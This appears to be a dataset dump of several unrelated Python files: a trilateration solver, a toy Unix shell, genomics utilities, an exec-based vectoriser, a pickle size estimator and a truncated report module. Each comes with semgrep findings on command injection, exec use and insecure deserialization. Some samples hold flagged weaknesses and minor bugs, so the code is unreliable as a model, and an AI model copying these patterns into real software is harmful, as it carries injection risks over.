def _compute_geolocalization(self):
x0, y0 = self._proj.lat_long_to_x_y(self._uplinks[0].gateway.lat, self._uplinks[0].gateway.lon)
solution = least_squares(self._lsm_loss_clojure(), [x0, y0])
lon, lat = self._proj.x_y_to_long_lat(solution["x"][0], solution["x"][1])
self.is_resolved = True
self.geolocalized_device = point(lat, lon)
# Test the lib
if __name__ == '__main__':
g1 = gateway(48.84, 2.26)
g2 = gateway(48.84, 2.30)
g3 = gateway(48.80, 2.33)
g4 = gateway(48.90, 2.40)
g5 = gateway(48.90, 2.50)
t1 = int(time.time() * 1000000000)
t2 = int(time.time() * 1000000000)
t3 = int(time.time() * 1000000000)
t4 = int(time.time() * 1000000000)
t5 = int(time.time() * 1000000000)
u1 = uplink(g1, datetime.datetime.now(), t1)
u2 = uplink(g2, datetime.datetime.now(), t2)
u3 = uplink(g3, datetime.datetime.now(), t3)
u4 = uplink(g4, datetime.datetime.now(), t4)
u5 = uplink(g5, datetime.datetime.now(), t4)
solver = lsm([u1, u2, u3, u4, u5])
print solver.geolocalized_device
| 133 | 35.83 | 152 | 23 | 1,523 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_b34f2e9cde39d458_e746a292", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/b34f2e9cde39d458.py", "start": {"line": 55, "col": 9, "offset": 1931}, "end": {"line": 55, "col": 25, "offset": 1947}, "extra": {"message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_b34f2e9cde39d458_700889c1", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/b34f2e9cde39d458.py", "start": {"line": 107, "col": 9, "offset": 4105}, "end": {"line": 107, "col": 25, "offset": 4121}, "extra": {"message": "Is \"is_resolved\" a function or an attribute? If it is a function, you may have meant self.is_resolved() because self.is_resolved is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
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] | [
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] | [
"",
""
] | lsm.py | /trilateration/compute/lsm.py | robinroyer/trilateration | Apache-2.0 | |
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} | 2.5 | stackv2 | #! /usr/bin/env python3
import os, sys, time, re
curr = os.getcwd()
spl = curr.split("/")
short = spl[-1]
dir_list = spl #probably don't need this
#maybe continuously update dir list and only allow redirects if in current list
def ls():
directory_list = os.listdir(curr)
for i in directory_list:
print(i, end = " ")
return
def lsdir(directory):#change directory based on user's input
change = False
original = curr
directory_list = os.listdir(curr)
if directory.startswith("/"):
change = True
split = directory.split("/")
directory = split[-1]
index = 0
while(index != len(split)-1):
if split[index] == '':
index +=1
os.chdir(split[index])
index = index + 1
if directory.endswith(".txt"):
fdOut = os.open(directory + ".txt", os.O_CREAT | os.O_WRONLY)
else:
fdOut = os.open(directory + ".txt", os.O_CREAT | os.O_WRONLY)
for a in directory_list:
a = a + "\n"
os.write(fdOut, a.encode()) # write to output file
i = 0
if (change):
while(i < len(split)-1): #return to current dir
os.chdir("..")
i = i +1
return
def update_curr_dir():
curr = os.getcwd()
spl = curr.split("/")
short = spl[-1]
def get_current():
global curr
curr = os.getcwd()
os.write(1, (curr + "\n").encode())
return
def get_short():
global curr
global short
curr = os.getcwd()
spl = curr.split("/")
short = "\033[1;40;40m %s\x1b[0m" % spl[-1]
os.write(1, (short + "$ ").encode())
return
def loop_shell():
global short
while True:
if 'PS1' in os.environ:
os.write(1,(os.environ['PS1']).encode())
try:
# inp = os.read(0,256)
# user_input = inp.decode().split()
user_input = [str(n) for n in input().split()]
except EOFError:
sys.exit(1)
else:
get_short()
try:
# inp = os.read(0,256)
# user_input = inp.decode().split()
user_input = [str(n) for n in input().split()]
except EOFError:
sys.exit(1)
w = True
if user_input == '\n':
loop_shell()
return
if not user_input:
loop_shell()
return
if user_input[0] == 'exit':
sys.exit(1)
if "cd" in user_input:#changes directory
try:
os.chdir(user_input[1])
except FileNotFoundError:
os.write(1, ("-bash: cd: %s: No such file or directory\n" % directory).encode())
continue
else:
rc = os.fork()
if '&' in user_input:
user_input.remove("&")
w = False
if user_input[0] == 'exit':
quit(1)
if rc < 0:
os.write(2, ("fork failed, returning %d\n" % rc).encode())
sys.exit(1)
elif rc == 0:
if user_input[0].startswith("/"):
try:
os.execve(user_input[0], user_input, os.environ) # try to exec program
except FileNotFoundError:
pass
redirect(user_input)
simple_pipe(user_input)
execChild(user_input)
else:
if w: #wait
code = os.wait()
if code[1] != 0 and code[1] != 256:
os.write(2, ("Program terminated with exit code: %d\n" % code[1]).encode())
def parse2(cmdString):
outFile = None
inFile = None
cmdString = ' '.join([str(elem) for elem in cmdString])
cmd = ''
cmdString = re.sub(' +', ' ', cmdString)
if '>' in cmdString:
[cmd, outFile] = cmdString.split('>',1)
outFile = outFile.strip()
if '<' in cmd:
[cmd, inFile] = cmd.split('<', 1)
inFile = inFile.strip()
elif outFile != None and '<' in outFile:
[outFile, inFile] = outFile.split('<', 1)
outFile = outFile.strip()
inFile = inFile.strip()
return cmd.split(), outFile, inFile
def simple_pipe(args):
if '|' in args:
write = args[0:args.index("|")]
read = args[args.index("|") + 1:]
pr,pw = os.pipe()
for f in (pr, pw):
os.set_inheritable(f, True)
fork = os.fork()
if fork < 0:
os.write(2, ("fork failed, returning %d\n" % rc).encode())
sys.exit(1)
elif fork == 0: #son or daughter (#not assuming)
os.close(1)
os.dup2(pw,1) #redirect inp to child
for fd in (pr, pw):
os.close(fd)
execChild(write)
else: #parent
os.close(0)
os.dup2(pr,0) #redirect outp to parent
for fd in (pr, pw):
os.close(fd)
execChild(read)
if "|" in read:
pipe(read)
execChild(read)
def redirect(args):
if '>' in args or '<' in args:
cmd,outFile,inFile = parse2(args)
if '>' in args:
cmd = cmd[0]
if '>' in args:
os.close(1)
os.open(outFile, os.O_CREAT | os.O_WRONLY)
os.set_inheritable(1,True)
execute = [cmd,outFile]
execChild(execute) #FIXME: output file only one line #maybe I should just call lsdir
if '<' in args:
os.close(0)
os.open(args[-1], os.O_RDONLY)
os.set_inheritable(0,True)
execute = args[0:args.index("<")]
execChild(execute)
def execChild(execute):
for dir in re.split(":", os.environ['PATH']): # try each directory in the path
program = "%s/%s" % (dir, execute[0])
try:
os.execve(program, execute, os.environ) # try to exec program
except FileNotFoundError:
pass
time.sleep(1)
os.write(2, ("-bash: %s: command not found\n" % execute[0]).encode())
quit(1)
if __name__ == "__main__":
loop_shell() | 238 | 20.46 | 87 | 25 | 1,543 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.useless-if-body_7273a5405fa19dfd_66955eea", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-if-body", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Useless if statement; both blocks have the same body", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 39, "column_start": 2, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/tutorial/controlflow.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-if-body", "path": "/tmp/tmpb8jm_z1l/7273a5405fa19dfd.py", "start": {"line": 35, "col": 2, "offset": 703}, "end": {"line": 39, "col": 64, "offset": 871}, "extra": {"message": "Useless if statement; both blocks have the same body", "metadata": {"references": ["https://docs.python.org/3/tutorial/controlflow.html"], "category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-audit_7273a5405fa19dfd_35c87654", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. 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This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. 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This is dangerous because it allows a malicious actor to execute commands.", "metadata": {"cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "confidence": "MEDIUM", "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-os-exec-audit_7273a5405fa19dfd_47c06007", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-os-exec-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content when spawning a process. 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import numpy as np
import os
import random
from collections import Counter, defaultdict, OrderedDict
import random
from lisa.core.genome_tools import Region
class Gene:
'''
A gene has a unique genomic region, an accepted name, and aliases that also correspond to that gene or genomic region
'''
def __init__(self, chrom, tss_start, tss_end, names, tad_domain = None):
self.chrom = chrom
self.start = int(tss_start)
self.end = int(tss_end)
self.aliases = []
self.tad_domain = tad_domain
if isinstance(names, str):
self.add_alias(names.upper())
else:
self.add_aliases([name.upper() for name in names])
self.location = ':'.join([str(property_) for property_ in (self.chrom, self.start, self.end)])
def add_alias(self, alias, is_name = True):
if not alias in self.aliases:
self.aliases.append(alias)
def get_name(self):
return self.aliases[0]
def add_aliases(self, aliases):
assert( isinstance(aliases, list) )
for alias in aliases:
self.add_alias(alias)
def get_location(self):
return self.location
def get_tss_region(self):
return Region(self.chrom, self.start, self.end, annotation = self)
def __eq__(self, other):
if isinstance(other, str):
return other in self.aliases
elif isinstance(other, Gene):
return self.get_location() == other.get_location()
else:
return False
def __repr__(self):
return '\t'.join([str(x) for x in [self.get_location(), self.aliases[0], self.tad_domain, '|'.join(self.aliases)]])
def __str__(self):
return self.get_name()
def get_RP_signature(self, bins, bin_index, delta = 10000, max_influence_distance = 100000):
tss = self.start
#find bin regions defining interesting RP region
min_bin, split_bin, max_bin = np.digitize([tss - max_influence_distance, tss, tss + max_influence_distance], bins)
#subset interesting region of chrom
bin_indices = bin_index[min_bin: max_bin - 1]
#split the bin holding the TSS into two bins
bins = np.concatenate([bins[min_bin: split_bin], [tss], bins[split_bin: max_bin]])
split_bin -= min_bin
tss_bins = (split_bin - 1, split_bin)
#get bin intervals to the left and right of TSS, then concatenate
left_bins = np.abs(np.array(list(zip(bins[1:tss_bins[1] + 1], bins[:tss_bins[0] + 1]))) - tss)
right_bins = np.abs(np.array(list(zip(bins[tss_bins[1]:-1], bins[tss_bins[1] + 1:]))) - tss)
intervals = np.concatenate([left_bins, right_bins], axis = 0)
#get integral of RP at boundary locations
RP = intervals * (-np.log(1/3) / delta)
RP = 2 * ( RP - np.log(np.exp(RP) + 1))
#compute RP over area
RP = np.subtract(RP[:,1], RP[:,0])
#sum bins split by TSS
summed_tss_rp = RP[list(tss_bins)].sum()
RP[tss_bins[0]] = summed_tss_rp
#remove split bin
RP = np.delete(RP, tss_bins[1])
#normalize so bin with TSS has RP of 1
RP = RP / RP.max()
return RP, bin_indices
class RefSeqGene(Gene):
promoter_width_from_tss = 1500
def __init__(self, name, chrom, strand,
txStart, txEnd, exonStarts, exonEnds, symbol, tad_cluster, *, genome):
if strand == '-':
tss = (int(txEnd), int(txEnd) + 1)
else:
tss = (int(txStart), int(txStart) + 1)
super().__init__(chrom, *tss, [symbol.upper(), name.upper()], tad_domain=tad_cluster)
self.special_regions = dict()
self.add_region(Region(chrom, *tss).slop(self.promoter_width_from_tss, genome))
if exonStarts != '' and exonEnds != '':
for exon_start, exon_end in zip(exonStarts.strip(',').split(','), exonEnds.strip(',').split(',')):
self.add_region(Region(chrom, exon_start, exon_end))
self.strand = strand
self.is_noncoding = name[:3] == "NR_"
def get_exon_regions(self):
return list(self.special_regions.values())
def add_region(self, region):
if not region.to_tuple() in self.special_regions:
self.special_regions[region.to_tuple()] = region
def add_regions(self, new_regions):
for new_region in new_regions:
self.add_region(new_region)
class GeneSet:
'''
Enforces gene organization rules:
A genomic location may correspond to many names
A name may correspond to many locations
Primary organization should be by genomic location
'''
@classmethod
def from_file(cls, path):
new_geneset = cls()
with open(path, 'r') as f:
for line in f.readlines()[1:]:
location, name, tad, aliases = [x.strip() for x in line.split('\t')]
new_gene = Gene(*location.split(':'), aliases.split('|'), tad_domain = tad)
new_geneset.add_gene(new_gene)
return new_geneset
@classmethod
def from_refseq(cls, path, genome):
new_geneset = cls()
with open(path, 'r') as f:
for line in f.readlines():
#print(line.strip().split('\t'))
new_geneset.add_gene(RefSeqGene(*[x.strip() for x in line.strip().split('\t')], genome = genome))
return new_geneset
def __init__(self):
self.genes_by_name = defaultdict(list)
self.genes_by_chr = OrderedDict()
def add_genes(self, new_genes):
for new_gene in new_genes:
self.add_gene(new_gene)
return self
def add_gene(self, new_gene):
#finds if gene location is already inhabited
if new_gene.get_location() in self.genes_by_chr:
#get existing gene object
existing_gene = self.genes_by_chr[new_gene.get_location()]
#adds the new names to the existing object for this genomic location / gene
existing_gene.add_aliases(new_gene.aliases)
try:
existing_gene.add_regions(new_gene.special_regions)
except AttributeError:
pass
#adds pointers from these names to the existing gene
for alias in new_gene.aliases:
#if this alias is not registered
if not alias in self.genes_by_name:
#add the location under the alias
self.genes_by_name[alias.upper()].append(existing_gene)
else:
#add this gene under its genomic location
self.genes_by_chr[new_gene.get_location()] = new_gene
#for its names, add this location
for alias in new_gene.aliases:
#uppercase the gene name so that capitalization is not a factor
self.genes_by_name[alias.upper()].append(new_gene)
return self
def get_symbols(self):
return [gene.get_name() for gene in self]
def get_locations(self):
return [gene.get_location() for gene in self]
def get_distinct_genes_by_symbol(self, excluding = set(), exclude_nc_rna = True):
names = self.get_symbols()
distinct_names = set(names).difference(excluding)
distinct_genes = GeneSet()
for dinstinct_name in distinct_names:
add_gene = self.get_gene_by_name(dinstinct_name)
try:
if not add_gene.is_noncoding:
distinct_genes.add_gene(add_gene)
except AttributeError:
distinct_genes.add_gene(add_gene)
return distinct_genes
def get_gene_by_name(self, name):
name = name.upper()
if name not in self.genes_by_name:
raise KeyError()
else:
return self.genes_by_name[name][0]
def __str__(self):
return '\t'.join(['location','gene_name','tad_domain','aliases']) + '\n' + '\n'.join([repr(gene) for gene in self.genes_by_chr.values()])
def get_genes_by_chrom(self, chromosome):
return [
gene for location_key, gene in self.genes_by_chr.items() if location_key.split(':')[0] == chromosome
]
def __len__(self):
return len(self.genes_by_chr)
def __iter__(self):
return iter(list(self.genes_by_chr.values()))
def match_user_provided_genes(self, user_genelist):
rejects = []
selected_genes = GeneSet()
for gene_candidate in user_genelist:
try:
selected_genes.add_gene( self.get_gene_by_name(gene_candidate) )
except KeyError:
rejects.append(gene_candidate)
return selected_genes.get_distinct_genes_by_symbol()
def random_sample(self, sample_num, seed = None):
if not seed is None:
np.random.seed(seed)
assert(len(self) > sample_num), 'Background gene list provided must contain more than {} genes'.format(str(sample_num))
#if same number of genes, skip sample
if len(self) == sample_num:
return self
else:
return GeneSet().add_genes(np.random.choice(sorted(list(self), key = lambda x : x.location), sample_num, replace = False))
#enforce sampling according to the TAD distribution of the genome.
def sample_by_TAD(self, sample_num, seed = None):
if not seed is None:
np.random.seed(seed)
#intersect background gene list with TAD_list to eliminate reserved genes, sorting to maintain order for seed repeatability
TAD_data = [(gene, gene.tad_domain) for gene in sorted(self, key = lambda x : x.location)]
#collect list of genes in each bin
genes_in_TAD = defaultdict(list)
for gene, tad_group in TAD_data:
genes_in_TAD[tad_group].append(gene)
#calculates number of genes in each TAD group
num_genes_in_TAD = {tad_group : len(genes) for tad_group, genes in genes_in_TAD.items()}
#calculates the number of genes expected to be sampled from each TAD, with a bit of an enrichment (1.1x). Ensure all TADs have >= 1 expected genes
expected_samples = {
tad_group : max(1, int(num_genes / len(TAD_data) * sample_num * 1.1))
for tad_group, num_genes in num_genes_in_TAD.items()
}
#samples the expected number of genes from the TAD (or the number of genes if expected is > actual)
selected_genes = GeneSet()
for tad_group, num_expected in expected_samples.items():
sampled_genes = np.random.choice(sorted(genes_in_TAD[tad_group], key = lambda x : x.location), min(num_genes_in_TAD[tad_group] - 1, num_expected), replace = False)
selected_genes.add_genes(sampled_genes)
return selected_genes | 306 | 34.82 | 175 | 23 | 2,544 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8b7d2ab5c8db6360_d13daa2a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_noncoding\" a function or an attribute? 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] | [
"rules.python.lang.maintainability.is-function-without-parentheses",
"rules.python.lang.maintainability.is-function-without-parentheses"
] | [
"maintainability",
"maintainability"
] | [
"MEDIUM",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM"
] | [
115,
219
] | [
115,
219
] | [
9,
24
] | [
26,
45
] | [
"",
""
] | [
"Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant self.is_noncoding() because self.is_noncoding is always true.",
"Is \"is_noncoding\" a function or an attribute? If it is a function, you may have meant add_gene.is_noncoding() because add_gene.is_noncoding is always true."
] | [
5,
5
] | [
"",
""
] | [
"",
""
] | gene_selection.py | /lisa/core/gene_selection.py | liangdp1984/lisa2 | MIT | |
2024-11-18T19:58:33.327596+00:00 | 1,692,617,757,000 | 454496596a5016cb1d0bff0f0918c75f96699e5c | 3 | {
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"visit_date": "2023-08-24T21:42:42.253622"
} | 2.71875 | stackv2 | import ast
from inspect import getsource
from textwrap import dedent
import numpy as np
class Vectorizer(ast.NodeTransformer):
def visit_ListComp(self, node):
""" transform
[elt for gen.target in gen.iter]
into
gen.target = np.asarray(gen.iter); elt
(1 expression to n statements followed by 1 expression)
TODO: handle more than 1 generator
TODO: handle ifs
"""
ctx = ast.Load()
func = ast.Attribute(
value=ast.Name(id="np", ctx=ctx), attr="asarray", ctx=ctx,
)
return [
ast.Assign(
targets=[gen.target],
value=ast.Call(func=func, args=[gen.iter], keywords=[])
)
for gen in node.generators
] + [
node.elt
]
def generic_visit(self, node):
result = node # new
for field, old_value in ast.iter_fields(node):
if isinstance(old_value, list):
new_values = []
for value in old_value:
if isinstance(value, ast.AST):
value = self.visit(value)
if value is None:
continue
elif not isinstance(value, ast.AST):
new_values.extend(value)
continue
new_values.append(value)
old_value[:] = new_values
elif isinstance(old_value, ast.AST):
new_node = self.visit(old_value)
if new_node is None:
delattr(node, field)
elif new_node and isinstance(new_node, list): # new
setattr(node, field, new_node[-1]) # new
new_node[-1], result = node, new_node # new
else:
setattr(node, field, new_node)
return result # was return node
def numpify(func):
source = getsource(func)
node = ast.parse(dedent(source))
new_node = ast.fix_missing_locations(Vectorizer().visit(node))
code = compile(new_node, "<string>", "exec")
namespace = {"np": np}
exec(code, namespace)
return namespace[f.__name__]
if __name__ == "__main__":
def f(x):
s = [t * 2 for t in x]
return s
print(f([1, 2, 3]))
g = numpify(f)
print(g([1, 2, 3]))
| 77 | 30.36 | 71 | 20 | 523 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_0ae1c9ccf52fc5d6_0df0109e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 5, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/0ae1c9ccf52fc5d6.py", "start": {"line": 66, "col": 5, "offset": 2201}, "end": {"line": 66, "col": 26, "offset": 2222}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.exec-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
66
] | [
66
] | [
5
] | [
26
] | [
"A03:2021 - Injection"
] | [
"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | vectorize.py | /fun/vectorize.py | jburgy/blog | Apache-2.0 | |
2024-11-18T19:58:33.813913+00:00 | 1,621,602,480,000 | b5516177c87d7adb439257528df5e13cde90b6ff | 3 | {
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"detected_licenses": [
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],
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"filename": "size_prediction.py",
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"is_vendor": false,
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"license_type": "permissive",
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"visit_date": "2023-04-25T05:32:11.241896"
} | 2.921875 | stackv2 | from typing import List
from . import base_event
from .method_enter import MethodEnterEvent, MethodExitEvent, LineExecutionEvent
from ..file_system.human_readable_size import HumanReadableByteSize
from ..file_system.session_store import SessionStore
import pickle
def count_every_element(self, cleanup_function= None):
accum = 0
for e in self.buffer:
if cleanup_function:
cleanup_function(e)
bytes_ = pickle.dumps(e)
accum += len(bytes_)
return accum
class SizeWithoutStack:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self, self.clean_up_stack)
def clean_up_stack(self, e):
e.stack = None
class SizeOriginal:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self)
def clean_up_stack(self, e):
e.stack = None
class SizeWithoutVariables:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self, self.clean_up_vars)
def clean_up_vars(self, e):
if isinstance(e, MethodEnterEvent):
e.input_variables = None
if isinstance(e, MethodExitEvent):
e.return_variables = None
e.locals = None
if isinstance(e, LineExecutionEvent):
e.locals = None
class SizeWithoutCursor:
def __init__(self, buffer):
self.buffer = buffer
def size(self):
return count_every_element(self, self.clean_up_cursor)
def clean_up_cursor(self, e):
e.cursor = None
class SizeBreakdown:
event_buffer: List[base_event.Event]
@staticmethod
def load_from_session():
sess = SessionStore().load_session('request_exce')
sess.load_metadata()
print(f'metadata thinks size is: {sess.metadata.file_size_on_disk}')
print()
orig = SizeOriginal(sess.load_buffer())
real_size = orig.size()
SizeBreakdown.print_size('real size', real_size)
total_bytes_so_far = SizeWithoutStack(sess.load_buffer())
without_stack = total_bytes_so_far.size()
SizeBreakdown.print_size('without stack', without_stack)
without_variables = SizeWithoutVariables(sess.load_buffer())
without_variables_size = without_variables.size()
SizeBreakdown.print_size('without variables', without_variables_size)
without_cursor = SizeWithoutCursor(sess.load_buffer())
without_cursor_size = without_cursor.size()
SizeBreakdown.print_size('without cursor', without_cursor_size)
cursor = SizeWithoutCursor(sess.load_buffer())
cursor.size()
without_cursor_and_vars = SizeWithoutVariables(cursor.buffer)
without_cursor_and_vars_size = without_cursor_and_vars.size()
SizeBreakdown.print_size('without_cursor and vars', without_cursor_and_vars_size)
print('matan:')
# for i in range(100):
# print(bugger[i].event_name)
@staticmethod
def print_size(prefix, real_size):
print(f'{prefix}: {HumanReadableByteSize(real_size)} ({real_size})') | 109 | 28.17 | 89 | 14 | 671 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e2826d277b87ac51_4c17244b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 18, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e2826d277b87ac51.py", "start": {"line": 16, "col": 18, "offset": 441}, "end": {"line": 16, "col": 33, "offset": 456}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
16
] | [
16
] | [
18
] | [
33
] | [
"A08:2017 - Insecure Deserialization"
] | [
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] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | size_prediction.py | /pycrunch_trace/events/size_prediction.py | lixinli123/pycrunch-trace | MIT | |
2024-11-18T19:58:33.954974+00:00 | 1,497,250,589,000 | fcba0f309089a958250921246ebdfc0fa1993691 | 3 | {
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"MIT"
],
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"filename": "reports.py",
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"license_type": "permissive",
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"visit_date": "2021-05-16T02:09:13.724149"
} | 2.765625 | stackv2 | import argparse
import timesuck
from collections import namedtuple
from datetime import date, datetime, timedelta, time
class Report(object):
def __init__(self, ranges, db, type=None, minlength=None):
"""db is sqlite3 db connection"""
self.db = db
self.type = type
self.ranges = ranges
self.minlength = minlength
def results(self, start, end):
query = ('SELECT type, name, start as "[timestamp]",'
'end as "[timestamp]", duration FROM logs')
result = {
"website": {},
"application": {},
"system": {},
}
if self.type:
self.db.execute(query + (' WHERE type=? AND start >= ? AND '
'end <= ? ORDER BY start'),
(self.type, start, end))
else:
self.db.execute(query + ' WHERE start >= ? AND end <= ? ORDER BY start',
(start, end))
for ltype, name, start, end, length in self.db:
container = result[ltype]
container[name] = container.get(name, 0) + length
for (ltype, kinds) in result.iteritems():
result[ltype] = sorted(kinds.items(), key=lambda x: x[1], reverse=True)
return result
def entries(self):
return [(start, end, self.results(start, end)) for start, end in self.ranges]
def show(self):
for (start_date, end_date, results) in self.entries():
print
print "Logs on {} - {}".format(start_date, end_date)
print "=" * 50
print
for (ltype, kinds) in results.iteritems():
if self.type and self.type != ltype:
continue
if not kinds:
